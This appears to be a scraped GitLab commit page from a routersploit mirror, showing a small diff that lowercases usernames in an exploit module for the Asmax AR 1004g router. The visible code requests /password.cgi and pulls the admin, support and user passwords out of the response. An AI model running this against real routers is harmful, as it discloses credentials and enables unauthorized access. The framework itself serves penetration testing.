Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
8c8662ef
Commit
8c8662ef
authored
9 years ago
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Usernames lowercase.
parent
3d908c64
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
4 additions
and
4 deletions
+4
-4
ar_1004g_password_disclosure.py
...it/modules/exploits/asmax/ar_1004g_password_disclosure.py
+4
-4
No files found.
routersploit/modules/exploits/asmax/ar_1004g_password_disclosure.py
View file @
8c8662ef
...
...
@@ -39,7 +39,7 @@ class Exploit(exploits.Exploit):
creds
=
[]
url
=
sanitize_url
(
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
))
print_status
(
"Requesting for {}"
.
format
(
url
))
#
print_status("Requesting for {}".format(url))
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
...
...
@@ -47,15 +47,15 @@ class Exploit(exploits.Exploit):
admin
=
re
.
findall
(
"pwdAdmin = '(.+?)'"
,
response
.
text
)
if
admin
:
creds
.
append
((
'
A
dmin'
,
admin
[
0
]))
creds
.
append
((
'
a
dmin'
,
admin
[
0
]))
support
=
re
.
findall
(
"pwdSupport = '(.+?)'"
,
response
.
text
)
if
support
:
creds
.
append
((
'
S
upport'
,
support
[
0
]))
creds
.
append
((
'
s
upport'
,
support
[
0
]))
user
=
re
.
findall
(
"pwdUser = '(.+?)'"
,
response
.
text
)
if
user
:
creds
.
append
((
'
U
ser'
,
user
[
0
]))
creds
.
append
((
'
u
ser'
,
user
[
0
]))
if
creds
:
print_success
(
"Credentials found!"
)
...
...
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment